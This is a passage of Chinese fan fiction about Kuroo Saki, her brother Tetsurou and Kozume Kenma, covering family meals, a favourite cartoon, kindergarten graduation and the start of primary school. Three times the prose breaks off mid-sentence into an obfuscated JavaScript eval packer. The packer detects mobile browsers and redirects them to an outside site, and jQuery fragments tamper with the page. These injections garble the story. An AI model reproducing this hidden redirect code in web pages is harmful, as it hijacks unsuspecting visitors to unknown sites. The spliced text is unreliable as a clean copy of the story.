“纱季今天在幼儿园有什么有趣的事吗?”爸爸黑尾拓真转向小女儿,温和地问道。 一边小口喝着汤,黑尾纱季一边简单讲述了今天的经历。 当提到参加了老鹰捉小鸡时,黑尾明美欣慰地摸了摸她的头,而当说到过家家的晚安吻时,餐桌上的气氛突然变了。 “什么?!”黑尾铁朗猛地站起来,动作之大差点带倒椅子。 他冲到客厅抽了几张纸巾,又飞奔回来,一把按在黑尾纱季的嘴上用力擦拭。 “你干什么啦!”黑尾纱季挣扎着推开哥哥的手,皱起眉头瞪着他。 黑尾铁朗双手按在妹妹肩上,表情前所未有的严肃:“听着,纱季。” 他一字一顿地说,“除了我和爸爸,谁都不能亲你,研磨也不行!” 黑尾拓真在一旁连连点头,脸上写满了儿子说得对。 黑尾明美无奈地用筷子轻轻敲了敲父子俩的额头:“ 好了,纱季他们只是在玩游戏,你们太夸张了。吃饭!” “我们这是为了保护纱季!”黑尾铁朗不服气地辩解。 “就是就是。 ”黑尾拓真附和道。 “嗯?”黑尾明美眯起眼睛,声音轻柔但充满威胁。 “吃、吃饭......”父子俩立刻怂了,乖乖坐回位置上。 黑尾明美转向女儿,温柔地说:“别管你爸爸和哥哥,和研磨还像以前那样相处就好。” 点点头表示了解了,黑尾纱季吐槽:“感觉爸爸和哥哥比我们玩的过家家还幼稚。” “!”黑尾父子扎心痛哭。 今日份胜利玩家,黑尾纱季。 9. 动画片 接近年底的时候,东京的寒风愈发凛冽,街道两旁的树木早已褪去了秋日的色彩,只剩下光秃秃的枝桠在寒风中摇曳。 向日葵班的木场洋子老师开始教授一些与小学课程衔接的内容,这些知识比之前学的要难上不少,就连平日里总爱开小差的黑尾纱季和孤爪研磨也不得不收敛心神,专心听讲。 不过令人欣慰的是,这两个小家伙的脑袋瓜子都相当灵光。 虽然课程难度增加了,但他们总能轻松跟上老师的节奏,从未在学业上遇到过真正的难题。 然而,与学业上的顺风顺水形成鲜明对比的是,黑尾纱季在生活上遇到了一个巨大的挑战—— 入冬以后,每天清晨从温暖的被窝里爬出来,对黑尾纱季来说都成了一场艰苦卓绝的战役。 现在每一天,都是在妈妈黑尾明美已经发怒的情况下,她才不情不愿地从被窝里蠕动出来。 笑死,根本起不来一点。 由于起床太晚,她总是手忙脚乱。 柔顺的黑发经常来不及好好梳理,只能在下楼梯时一边走一边胡乱地梳几下,等走到餐桌前时,头发才勉强能梳顺。 这个场景几乎每天都在黑尾家上演,已经成为了早晨的固定节目。 而说到头发,就不得不提黑尾铁朗那标志性的鸡冠头。 这个发型仿佛有自己的生命一般,无论怎么梳理都会倔强地恢复原状,最初黑尾明美还会试图管教儿子,让他把头发梳理整齐,但久而久之她也放弃了这种徒劳的努力。 “反正丢人的又不是我。”她后面直接放弃。 对于哥哥这个神奇的发型,黑尾纱季一直充满好奇。 为此,她特意在某天晚上抱着自己的枕头去和哥哥一起睡,想要亲眼见证这个发型是如何诞生的。 结果那天晚上,两个孩子为了抢被子,双双把被子踢到了床下,第二天,两人不出所料地一起感冒了,在床上躺了整整一天。 这天早晨,黑尾纱季照例起晚了。 她把梳子放在餐桌上,看着妈妈阴沉的脸,小心翼翼地讨好道:“对不起妈妈,我明天一定不会赖床!” “你昨天也是这么说的。”黑尾明美皮笑肉不笑地瞟了女儿一眼,手上动作不停,将平底锅里金黄的煎蛋利落地盛到盘子里。 今天的早餐是简单的西式风格:烤得恰到好处的贝果散发着诱人的麦香,上面涂满了深紫色的蓝莓果酱,旁边是圆润饱满的煎蛋,蛋黄还在微微颤动,一杯冒着热气的牛奶放在一旁,白色的雾气在寒冷的早晨格外明显。 “妈妈,明天能不能申请吃盐烤秋刀鱼!”和哥哥一样酷爱秋刀鱼的黑尾纱季突然想念起和式早餐的滋味。 正在狼吞虎咽的黑尾铁朗闻言也立刻停下动作,拼命点头表示赞同。 黑尾明美居高临下地看着这对因为赖床而不得不匆忙进食的兄妹,嘴角勾起一抹意味深长的微笑:“可以啊,只要你们不赖床。” 深知自己在冬天的起床困难程度的兄妹俩对视一眼,默契地选择了沉默,低下头专心解决面前的早餐。 这个反应把黑尾明美气笑了,她冷哼一声,吓得两个小家伙又缩了缩脖子。 “我吃饱了!我先去上学了!”黑尾铁朗三下五除二解决完早餐,迅速逃离战场,临走时还不忘给妹妹递去一个自求多福的眼神。 黑尾纱季也不敢耽搁,几口吞下贝果,又吨吨吨地灌完牛奶。 等她背着书包冲出家门时,发现孤爪研磨已经像往常一样,站在路边的树下等着她了。 那棵树现在只剩下光秃秃的枝干,在寒风中轻轻摇晃。 “研磨!”黑尾纱季小跑过去,熟练地探头看向孤爪研磨手中的游戏机。 屏幕上熟悉的画面告诉她,好友还在挑战那个已经打了三天都没能通过的boss。 “你好早啊,你难道不觉得冬天很痛苦吗?!”黑尾纱季一边调整书包带的位置,一边走在孤爪研磨身旁,眼睛却始终没离开他的游戏屏幕。 随着屏幕上再次出现GAME OVER的字样,孤爪研磨停下脚步,默默将游戏机收进书包。 他呼出一口白气,搓了搓冻得发红的手指,声音里带着几分无奈:“所以我才说讨厌冬天。” “是啊,冬天真是太恐怖了。”黑尾纱季心有戚戚焉地点头附和:“早上起床的时候,感觉整个人都被封印在被子里一样,根本没法离开。” 孤爪研磨深有同感地点点头,两人就这样一边抱怨着冬天的残酷,一边向学校走去。 “不过研磨你好快啊,感觉完全不像是会赖床的样子。”黑尾纱季突然歪着头,好奇地打量着好友。 孤爪研磨闻言浑身一颤,像是想起了什么可怕的回忆。他幽幽地叹了口气:“早上妈妈如果喊我第二遍还没起床的话,就会直接把被子全部掀开。” “啊......”黑尾纱季同情地看着好友,脑海中不禁想象自己遭遇这种叫起床方式会是什么情景。 她打了个寒颤,小声嘀咕道:“希望妈妈不要和孤爪阿姨交流这些心得,这也太恐怖了。” 东京的冬天虽然风不大,但刺骨的寒意还是让人难以招架。 等两人走到学校时,脸颊都被冻得通红,教室里的暖气让黑尾纱季舒服地叹了口气:“果然还是有暖气幸福啊!” 此时的教室里已经来了不少同学,大家三三两两地聚在一起,叽叽喳喳地聊着天。 窗户上蒙着一层白雾,黑尾纱季突发奇想,用手指在玻璃上画了个小人——是她最近痴迷的动画《可莉莉冒险记》中的主角。 “研磨研磨,你看这是什么!”黑尾纱季兴奋地扯了扯好友的袖子。 “啊!是可莉莉吗?”还没等孤爪研磨回应,旁边的一个小朋友就惊喜地叫了出来,这一声立刻引来了周围同学的注意,大家纷纷围了过来。 自从识字量增加后,黑尾纱季的阅读范围不再局限于简单的绘本。 图文并茂的故事书成为了她的新宠,其中风靡全日本的《可莉莉冒险记》系列更是她的最爱,书中那个闪亮、美丽、勇敢又聪明的主角可莉莉,已经成为了黑尾纱季心目中的偶像。 每天上学放学的路上,她都会滔滔不绝地向孤爪研磨讲述书中的精彩情节,说到激动处还会手舞足蹈,与从前那个安静躲在角落看书的小女孩判若两人。 有时候晚上躺在床上,她都会幻想自己如果能和可莉莉一起冒险该有多好。 这种热爱在《可莉莉冒险记》被改编成动画后达到了顶峰。 向来对动画片兴趣不大的黑尾纱季现在每天下午都会准时守在电视机前,还经常拉着孤爪研磨一起观看。 久而久之,连孤爪研磨也对这部作品产生了兴趣,最近玩的游戏都是冒险类题材。 不只是他们两人,整个向日葵班的小朋友几乎都是《可莉莉冒险记》的粉丝。 无论走到教室的哪个角落,都能听到孩子们在讨论剧情。 现在看到黑尾纱季画的简笔画,虽然线条简单,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408969|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标志性的小裙子和魔法杖还是让大家一眼就认出了这是谁。 整个向日葵班顿时像炸开了锅,同学们七嘴八舌地讨论起来。 突然被这么多人围住,黑尾纱季有些不知所措,她向孤爪研磨投去求救的目光,却发现好友早已机智地躲到一边,继续他的游戏大业去了。 就在黑尾纱季快要招架不住时,木场洋子老师及时出现拯救了她。 看到黑尾纱季今天如此合群,木场老师还特意表扬了她几句。 等课堂正式开始后,黑尾纱季用死鱼眼瞪着孤爪研磨,咬牙切齿地小声说:“孤爪研磨!你太过分了,竟然见死不救。” 孤爪研磨心虚地别过脸,假装没听见好友的控诉。 这个反应让黑尾纱季更加不满,气鼓鼓地哼了好几声。 ...... 这天晚上,孤爪研磨的父母都有事外出,他照例来黑尾家蹭饭。 刚踏进玄关,黑尾纱季就风风火火地冲过来:“研磨!快快快,今天可莉莉应该要去云朵之国冒险了!” 还没等孤爪研磨完全换好鞋子,就被黑尾纱季一把拉住胳膊往客厅拽。 黑尾铁朗已经窝在沙发里了,小学一年级的作业很少,最近他也迷上了《可莉莉冒险记》。 “哟!研磨。”黑尾铁朗懒洋洋地抬起手打招呼。 茶几上摆着几块曲奇饼干和孤爪研磨最爱的苹果派。 黑尾明美从厨房探出头:“研磨来啦?先和纱季他们看会儿电视,晚饭我们吃寿喜锅。” “寿喜锅!”兄妹俩异口同声地欢呼起来,眼睛闪闪发亮。 “妈妈!我们想多吃点牛肉!”两人再次默契地提出请求。 孤爪研磨拿起一块苹果派送入口中,满足地眯起眼睛,像只慵懒的猫咪一样蜷缩在沙发上,安静地盯着电视屏幕。 《可莉莉冒险记》每集只有二十多分钟,黑尾纱季总觉得看得不过瘾。 “好短啊。”她意犹未尽地咂咂嘴:“要是我是编剧就好了。” “如果是编剧,刚才那场打斗应该更激烈些。”黑尾铁朗评价道。 “我觉得刚才的程度刚刚好。”黑尾纱季立即反驳:“这只是云朵之国的小怪物,太强的话会破坏平衡,而且重点不是打斗,是可莉莉的冒险过程!” 兄妹俩就这样为了剧情应该侧重探险还是打斗争执起来,最后两人气鼓鼓地同时转向孤爪研磨,要他评理。 “......各占一半吧。”孤爪研磨沉吟片刻后说道:“如果有游戏能让我们自己选择侧重冒险还是打斗就好了。” “哇,如果真有这样的游戏就太棒了!”黑尾铁朗托着腮帮子提议:“研磨你这么喜欢游戏,以后要不要试试自己做一款?” “听起来不错。”孤爪研磨的眼睛亮了起来。 “那我一定要当你游戏的编剧!”黑尾纱季高高举起手,兴奋地宣布。 “纱季你还知道游戏编剧啊?”黑尾铁朗有些惊讶。 看着这对拌嘴的兄妹,向来表情不多的孤爪研磨嘴角微微上扬,他加入了两人的讨论,三个孩子就这样天马行空地畅想着未来可能制作的冒险游戏。 多年后,已经成为游戏设计师的孤爪研磨时常会想起这个平凡的下午。 那时的欢声笑语就像一颗种子,悄悄埋在他心底,在岁月的滋养下慢慢生根发芽,最终长成了他职业生涯的参天大树。 而那两个陪他一起做梦的小伙伴,也成为了他人生中最珍贵的两个人。 10. 幼儿园毕业 幼儿园的毕业仪式在霓虹文化中具有特殊的意义,这是每个孩子人生中第一场正式的毕业典礼,象征着从稚嫩孩童向小学生的转变。 对于家长们而言,这不仅仅是一场简单的仪式,更是见证孩子成长的重要里程碑。 清晨六点半,黑尾家所在的住宅区还笼罩在薄雾中。 黑尾纱季被妈妈轻柔的呼唤声唤醒,她揉了揉惺忪的睡眼,极其不愿意起床。 “纱季,该起床了哦。”黑尾明美拉开窗帘,她手里拿着昨晚就熨烫整齐的宝蓝色制服,领口和袖口的每一道折痕都完美无缺。 慢吞吞地从被窝里爬出来,黑尾纱季的头发因为睡姿而变得乱蓬蓬的。 她打了个小小的哈欠,眼角还挂着因困倦而溢出的泪珠。 “妈妈,不能再睡一会儿吗?”她用带着鼻音的童声撒娇道。 “不行哦,今天可是特别的日子。”黑尾明美已经准备好了梳子和发饰:“来,妈妈给你梳个漂亮的发型。” 接下来的半小时里,黑尾纱季坐在梳妆台前,像个洋娃娃一样任由妈妈摆布。 黑尾明美小心翼翼地梳理着女儿微卷的及肩长发,生怕扯痛她的头皮,她选择了六枚粉色的小发卡,每一枚都印着不同的水果图案,将它们巧妙地别在纱季的发间。 “”妈,为什么要这么认真啊?”黑尾纱季晃着小腿问道,她还不明白这个日子的重要性。 黑尾明美手上的动作顿了顿,温柔地解释道:“因为今天是我们纱季人生中第一个毕业典礼啊,等你长大了回头看今天的照片,就会知道妈妈为什么这么重视了。” 楼下突然传来黑尾铁朗的大嗓门:“妈妈!先让我和纱季拍一张照!” 已经吃完早餐的小学生赖在玄关不肯出门,固执地要等妹妹打扮好。 黑尾明美最后检查了一遍女儿的着装:宝蓝色的制服外套平整挺括,内搭的白衬衫领子翻得一丝不苟,蓝灰白格纹的百褶裙随着纱季的动作轻轻摆动,配上擦得锃亮的小皮鞋,整个人看起来既正式又不失孩童的可爱。 “好了,下去吧。”黑尾明美轻轻拍了拍女儿的肩膀:“你哥哥等不及了。” 小心翼翼地走下楼梯,黑尾纱季生怕弄乱妈妈精心打理的造型。 对她来说,这种一大早就被叫醒,被迫坐在镜子前任由摆布的经历实在称不上愉快。 七岁的她还无法完全理解为何妈妈会对这场毕业典礼如此重视,只觉得整个过程冗长又无聊。 客厅里,黑尾拓真正夸张地擦拭着眼角并不存在的泪水:“呜呜呜,爸爸的小纱季也终于到了这一天,来我们先一起拍个照再去上班。” 他手里拿着那台珍贵的便携式相机,这是家里为了今天特意向邻居借来的高级货。 “我先!明明说好了是我先和纱季拍照的!”黑尾铁朗鼓起腮帮子抗议道。 他今天特意将标志性的鸡冠头梳得更加张扬,配上这副表情,活脱脱一个不良少年模样。 “要尊老爱幼哦,铁朗。”黑尾拓真居高临下地看着儿子。 “说话算话啊,臭老爸!”黑尾铁朗毫不示弱地瞪回去,父子之间的空气仿佛迸溅出无形的火花。 黑尾纱季站在楼梯中间,明智地保持着沉默。 她太熟悉这种场面了,每当爸爸和哥哥较起劲来,最好的应对方式就是做个安静的旁观者,她低头摆弄着胸前的淡粉色胸花,等待这场战争自然平息。 这场幼稚的争执最终由黑尾明美一锤定音:“铁朗先和纱季在门口拍一张,然后拓真你再拍。” 她干脆利落地从丈夫手中夺过相机,结束了这场闹剧。 初春的晨风仍带着几分寒意,黑尾纱季刚踏出门就被吹得打了个哆嗦。 院子里的樱花树已经开始飘落花瓣,粉白色的花瓣像雪花一样轻轻飘舞,黑尾铁朗拉着妹妹站到樱花树下,背景是刚刚绽放的郁金香。 “笑一笑,纱季!”黑尾铁朗难得露出温柔的笑容,完全不像平时那个大大咧咧的哥哥,黑尾明美按下快门,捕捉到了这温馨的一刻。 接下来是黑尾拓真的拍照时间。 这位父亲蹲下身,与女儿平视,轻声说着什么逗得纱季咯咯笑起来。 相机连续发出咔嚓声,记录下父女俩亲密的互动。 这时,隔壁孤爪家的大门也打开了,黑尾纱季转头望去,只见同样穿着宝蓝色制服的孤爪研磨正被妈妈摆弄着领结。 两个小朋友隔空交换了一个眼神,彼此都从对方眼中读出了真是麻烦啊的无奈。 等到大人们陆续出门上班,黑尾铁朗也被妈妈催促着去上学后,黑尾纱季终于有机会和孤爪研磨会合。 两人刚站到一起,就不约而同地长叹一口气,那副小大人般的模样惹得身后的妈妈们忍俊不禁。 “你们两个啊。”黑尾明美摇头笑道:“今天可是你们的大日子,开心一点嘛。” 孤爪光蹲下身,为儿子整理了一下歪掉的领结:“研磨,记得要笑哦,妈妈想拍到你开心的样子。” 幼儿园的礼堂被装饰得焕然一新,彩带和气球点缀着每个角落,入口处摆放着用鲜花拼成的毕业快乐字样,空气中弥漫着淡淡的花香。 妈妈们自觉地走向后排家长区就座,孩子们则在老师的指挥下排成整齐的方队。 黑尾纱季和孤爪研磨依旧站在一起,在闪光灯的此起彼伏中,两人再次交换了一个生无可恋的眼神——比起这种正式场合,他们更想早点回家看书或打游戏。 黑尾纱季想着昨晚没看完的绘本,孤爪研磨则惦记着新买的游戏卡带。 校长的致辞对于五岁的孩子们来说略显深奥,黑尾纱季努力集中注意力,却还是忍不住开始神游。 她想起昨天看的《可莉莉冒险记》,在脑海中编织起新的冒险故事,可莉莉今天会遇到什么样的朋友呢?森林里会不会有新的神奇生物? 直到前面的班级开始陆续上台领取毕业证书,她才回过神来。 “向日葵班,黑尾纱季同学。” 听到自己的名字被叫到,黑尾纱季深吸一口气,迈着端正的步伐走上台,余光瞥见台下的妈妈正疯狂按着快门,闪光灯晃得她有些睁不开眼。 鞠躬拿过证书以后,黑尾纱季乖巧地向校长先生道谢,这才慢吞吞地下去。 这时候念到了孤爪研磨的名字,台下疯狂拍照的人换成了孤爪光,黑尾纱季和孤爪研磨擦肩而过的时候,从他的眼神中读出来好麻烦啊快结束吧几个字。 当所有孩子都拿到毕业证书后,校长开始总结孩子们在幼儿园期间的成长。 黑尾纱季和孤爪研磨不约而同地塌下肩膀,只盼着仪式早点结束,黑尾纱季偷偷数着天花板上的气球,孤爪研磨则盯着自己的鞋尖发呆。 直到献花环节开始,两人才重新打起精神。 他们捧着几乎有自己脑袋那么大的花束,小跑着献给班主任木场洋子。 这位年轻的女老师接过花时,眼眶明显泛红了。 尽管在经历江头凉子事件后,黑尾纱季对老师总保持着一定距离,但此刻看着木场老师感动的样子,她心里也泛起一阵暖意。 “谢谢你们。”木场洋子蹲下身,轻轻用脸颊贴了贴两个孩子:“祝福你们顺利毕业,希望你们在国小也能快乐成长。” 她的声音有些哽咽,这是她带的第一批学生,不到一年的相处已经让她对这些孩子产生了深厚的感情。 木场洋子的情绪感染了全班。 当毕业歌的旋律响起时,黑尾纱季发现自己不知何时已经泪流满面,就连一向冷静的孤爪研磨也红了眼眶。 歌声中,孩子们稚嫩的嗓音里夹杂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408970|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抽泣,这是他们第一次真正体会到离别的滋味。 黑尾纱季想起木场老师教他们认字、陪他们做游戏的点点滴滴,突然意识到以后再也见不到这位温柔的老师了,眼泪便止不住地往下掉。 仪式结束后,黑尾明美和孤爪光上前为两个孩子擦去泪水,看着女儿湿漉漉的小脸,黑尾明美柔声问道:“要去和木场老师合照吗?” 黑尾纱季摇摇头:“现在人太多了。” 她的目光越过人群,落在被家长和孩子们团团围住的木场洋子身上,老师正被要求摆出各种姿势与每个家庭合影,看起来疲惫但幸福。 “那去外面拍照吧,今天阳光很好。”孤爪光提议道,指了指礼堂外樱花纷飞的庭院。 两个孩子走到户外的毕业立牌前,学着其他小朋友的样子举起毕业证书。 春风吹过,樱花如雪般纷纷扬扬地飘落。 在妈妈们“三、二、一”的倒数声中,黑尾纱季心中涌起一种说不清道不明的情绪,既甜蜜又酸涩,就像妈妈做的柠檬果酱的味道。 这一刻,她隐约感觉到自己正在经历某种重要的转变,虽然她还不能完全理解这意味着什么。 ...... 下午,当大人们出门逛街后,黑尾纱季来到孤爪家找研磨玩游戏。 “最近有什么简单好玩的新游戏吗?”她盘腿坐在地毯上问道,好奇地翻看着一堆游戏包装盒。 孤爪研磨正要回答,窗外突然传来一阵喧闹声。 黑尾铁朗抱着足球站在院子里,身后跟着几个同龄的男孩。 “纱季!研磨!出来玩啊!”他大声喊道,声音里充满活力。 两人对视一眼,默契地摇头拒绝。 黑尾铁朗也不强求,转身跑向等待着的朋友们,只留下一句“等下来找你们”随风飘来。 他们能听到铁朗向朋友们解释:“我妹妹他们不喜欢剧烈运动啦,我们自己去玩吧。” 关上窗户,两人不约而同地松了口气,随即被对方的反应逗笑了。他们都更喜欢安静的室内活动,对哥哥热衷的户外运动毫无兴趣。 “妈妈做了曲奇,我去拿。”孤爪研磨说着站起身,向楼下走去。 他刚离开不久,黑尾纱季就听到楼下传来交谈声。 透过未关严的门缝,她隐约辨认出是孤爪宏明回来了,正在和折返的黑尾铁朗说话。 虽然听不清具体内容,但从只言片语中能猜到,孤爪先生希望黑尾铁朗多带研磨出去玩,而黑尾铁朗则坚持尊重研磨自己的意愿。 “研磨他......不喜欢太吵闹的地方......”黑尾铁朗的声音断断续续地传来:“......他想玩的时候......自然会出来的......” 黑尾纱季的嘴角不自觉地上扬。 她的哥哥看起来像个不良少年,实际上却比谁都懂得尊重他人的选择。 她想起哥哥每次都会记得给她带喜欢的糖果,会在她做噩梦时耐心安慰,会为了保护她和别的小朋友打架.....虽然方式笨拙,但他的关心从来都是真挚的。 当孤爪研磨端着曲奇回到房间时,两人心照不宣地保持着沉默。 黑尾纱季知道好友一定也听到了那段对话。 “我听到了哦。”她最终打破沉默,从一堆游戏光碟中抽出一张:“哥哥和叔叔说的话。” 孤爪研磨抬起头,琥珀色的眼睛里闪过一丝笑意。 他递给纱季一块心形曲奇,轻声说:“......他......很了解我......” “不愧是哥哥啊。”黑尾纱季轻声感叹,咬了一口曲奇:“那个贴心的大笨蛋。” 孤爪研磨轻轻嗯了一声,嘴角微微上扬。 两个小朋友肩并肩坐着,游戏机启动的声音响起,属于他们的童年还在继续。 11. 小学 窗外的暴雨像无数银针般倾泻而下,敲打在玻璃上发出密集的噼啪声,狂风卷着雨滴在窗棂间穿梭,时不时一道闪电划破夜空,将黑尾纱季的小房间照得惨白。 明天就是国小入学的第一天,本该早早入睡的她此刻却蜷缩在被窝深处,把脸埋在玩具熊柔软的肚子上。 轰隆—— 又是一阵震耳欲聋的雷声。 黑尾纱季浑身一颤,连带着头顶那撮因为躲在被子里摩擦而翘起的呆毛也跟着抖了抖。 时钟的指针悄悄爬过十一点,在经历了半个小时的惊惶后,黑尾纱季终于鼓起勇气掀开被角。 她抱着已经有些褪色的玩具熊,趁着雷声暂歇的间隙,光着脚丫踩上毛茸茸的小白兔拖鞋,拖鞋上的兔耳朵随着她的动作轻轻晃动,在木质走廊上发出啪嗒啪嗒的声响。 咚咚咚—— 她敲响哥哥的房门,指节与门板碰撞的声音在雨夜中显得格外清晰。 等待的每一秒都被拉得无限长,黑尾纱季咬着下唇,粉嫩的指甲无意识地抠着玩具熊的耳朵,纠结着要不要转身去找父母。 就在她准备放弃的刹那,房门打开了。 暖黄的灯光从门缝中流淌而出,黑尾铁朗脸上不见丝毫睡意,反而闪过一丝可疑的慌乱。 当他看清来人是妹妹时,紧绷的肩膀明显放松下来,嘴角扬起熟悉的弧度:“是纱季啊,怎么了?” 这时候屋外又炸出一个惊雷,吓得黑尾纱季小小的惊呼出声。 “今晚上可以和哥哥一起睡吗,打雷了。”黑尾纱季眼巴巴地看着黑尾铁朗,再加上她刚刚被惊吓到的样子,看上去就是一个可爱得要命的小可怜。 黑尾铁朗心头一软,侧身让出通道,随后他快步走回床边,手忙脚乱地整理着凌乱的被褥,却不慎露出藏在下面的书本一角。 “《排球入门学习指南》?”黑尾纱季眼尖地发现目标,像发现新大陆般迅速抽出书本。 翻开内页,密密麻麻的笔记映入眼帘,有些地方甚至用不同颜色的笔做了标记。 “原来哥哥熬夜是在看这个!”她恍然大悟,促狭地瞥了眼耳根泛红的兄长:“难怪敲门这么久都不应。” 黑尾铁朗不自在地清了清嗓子,伸手要夺回书本。 就在这时,又一道闪电劈落,惨白的光透过窗帘的缝隙,吓得黑尾纱季手一抖,书本啪地掉在地上。 “胆小鬼。”黑尾铁朗无奈地摇摇头,弯腰拾起心爱的排球教材,仔细地放在床头柜上,他将台灯调至最暗,暖黄的光晕温柔地笼罩着床铺。 “睡吧,明天可是重要日子。”他的声音里带着兄长特有的温柔,顺手揉了揉妹妹乱糟糟的头发。 黑尾纱季抱着玩具熊钻进被窝,熟悉的安心气息立刻包围了她,哥哥的枕头有阳光的味道,床单上残留着淡淡的洗衣粉香气。 窗外的风雨依旧,但在这个小小的避风港里,惊雷似乎也变得遥远起来,她的眼皮渐渐变得沉重,最后看到的景象是哥哥小心翼翼地把排球书塞进书包的背影。 ...... 晨光像融化的蜂蜜,透过窗帘的缝隙流淌进来。 厨房飘来煎鱼的香气,黑尾明美正在准备特别的开学早餐。 秋刀鱼在平底锅里滋滋作响,金黄的蛋液裹着培根在另一口锅中慢慢凝固。 “纱季,铁朗,起床了!”母亲的声音伴随着铲子与锅具的碰撞声传来。 黑尾纱季揉着眼睛坐起身,发现哥哥已经不在床上,她踩着拖鞋啪嗒啪嗒跑向餐厅,看到黑尾铁朗正在摆放餐具。 他今天特意把标志性的鸡冠头梳得更加整齐,校服的领子也熨得一丝不苟。 “哇!是秋刀鱼!”黑尾纱季欢呼着扑向餐桌。 母亲准备的混搭早餐——日式秋刀鱼配西式滑蛋培根三明治,正是兄妹俩的最爱。 吃完后,黑尾纱季紧张地拽着崭新制服的裙摆。 咔嚓一声,母亲用相机记录下这个重要时刻。 镜头里的小女孩笑容羞涩,眼睛里闪烁着期待与不安。 “走吧,该去接研磨了。”黑尾铁朗自然地牵起妹妹的手。 一出门,孤爪研磨已经等在那里,看到兄妹俩走来,他只是微微点了点头,算是打招呼。 三人汇合后,黑尾铁朗像只领头的雁,带着两个小家伙向公交站走去。 随着距离学校越来越近,穿同样制服的学生也越来越多。 “中午要一起吃饭吗?还是你们想和新同学......”黑尾铁朗话未说完,黑尾纱季已经扭头看向好友:“研磨,我们去哪里吃?” “你就没考虑过我们可能不同班吗?”孤爪研磨面无表情地吐槽,拥挤的车厢让他本就苍白的脸色更添几分倦怠。 黑尾纱季这才恍然大悟:“对哦!不过就算不同班也能一起吃饭吧?” “那就这么定了,中午我来找你们。”黑尾铁朗一锤定音。 随着报站声响起,穿着同样制服的学生们如潮水般涌向校门。 布告栏前人头攒动,两个一年级生像两尾小鱼,在人群中徒劳地穿梭,黑尾纱季踮起脚尖,却只能看到一片黑压压的后脑勺,孤爪研磨干脆放弃挣扎,站在人群外围发呆。 “让一让,让一让!”黑尾铁朗凭借身高优势,轻松地挤到布告栏前,他的鸡冠头在人群中格外显眼。 “一年一班!”他回头喊道:“你们两个都在一年一班!” 黑尾纱季开心地跳了起来,不小心踩到了孤爪研磨的脚。 后者嘶地倒吸一口冷气,但嘴角却微微上扬。 教室里,班主任杉井千春正站在讲台前。 这是个看起来和蔼可亲的中年女性,眼角有着深深的笑纹,每个新生都要从她面前的纸盒中抽取决定座位的纸条。 当黑尾纱季展开纸条看到“孤爪研磨”四个字时,两人不约而同地松了口气。 “太好了!”黑尾纱季小声欢呼,换来老师一个善意的微笑。 前桌的粉发女孩像朵绽放的樱花,转身时发梢扬起欢快的弧度。 “我是桃井五月!”她元气十足地自我介绍,又指了指身旁深蓝色头发的男孩:“这是阿大,青峰大辉。” 被点名的男孩撇撇嘴,小麦色的脸上写满不耐,但看向桃井的眼神却带着藏不住的纵容。 短短课间,桃井五月已经将自己的家庭住址、兴趣爱好乃至昨晚抱着洋娃娃露露倾诉心事的秘密全盘托出。 “我太紧张了,和露露说了一整晚的话!”她吐了吐舌头:“结果今早差点迟到。” 得知黑尾纱季和孤爪研磨也是邻居时,桃井五月兴奋地拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408971|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打青峰大辉的手臂:“看!和我们一样!” 青峰大辉嗷地叫了一声,揉着发红的手臂瞪向罪魁祸首。 就这样,在桃井五月热烈的友谊攻势下,黑尾纱季收获了国小生涯的第一份友情。 虽然午餐计划因与兄长的约定不得不推迟,但四个孩子已经约好次日共进午餐。 午休时分,校园里到处是三五成群的学生。 黑尾纱季、孤爪研磨和黑尾铁朗找了个安静的角落坐下。 “要是以后我们都和五月一起吃饭,哥哥岂不是要孤零零的......”黑尾纱季咬着筷子,忧心忡忡地望着便当盒。 黑尾铁朗气笑不得,屈指轻敲妹妹的额头:“在你眼里哥哥是没人要的流浪猫吗?” “明明以前比我还怕生。”黑尾纱季揉着发红的额角小声嘀咕。 一直安静进食的孤爪研磨突然开口:“为什么擅自把我算进去了?明明约好的是你和桃井同学。” “你当时没反对就是默认啦!”黑尾纱季理直气壮地晃着双脚:“青峰同学也没反对哦。” “女孩子......”孤爪研磨叹息着妥协。 而旁边的黑尾铁朗则露出老父亲般的欣慰表情:“我们纱季真厉害,开学第一天就交到朋友了。研磨你也要......” “你是哪里来的欧吉桑吗?!”黑尾纱季和孤爪研磨异口同声地吐槽,默契地露出半月眼。 黑尾铁朗额角暴起青筋,双手按住两颗毛茸茸的脑袋:“胆子不小啊?” “痛痛痛!”x2 黑尾纱季凭借娇小体型率先逃脱,剩下孤爪研磨顶着鸟窝般的乱发,哀怨地整理发型。 “小黑你越来越暴力了。” “明明是你们越来越不可爱了。”黑尾铁朗抱臂冷哼。 ...... 下午的校园参观像场奇妙的探险。 一年级的孩子们排成两列,像串小鸭子般跟在杉井老师身后。 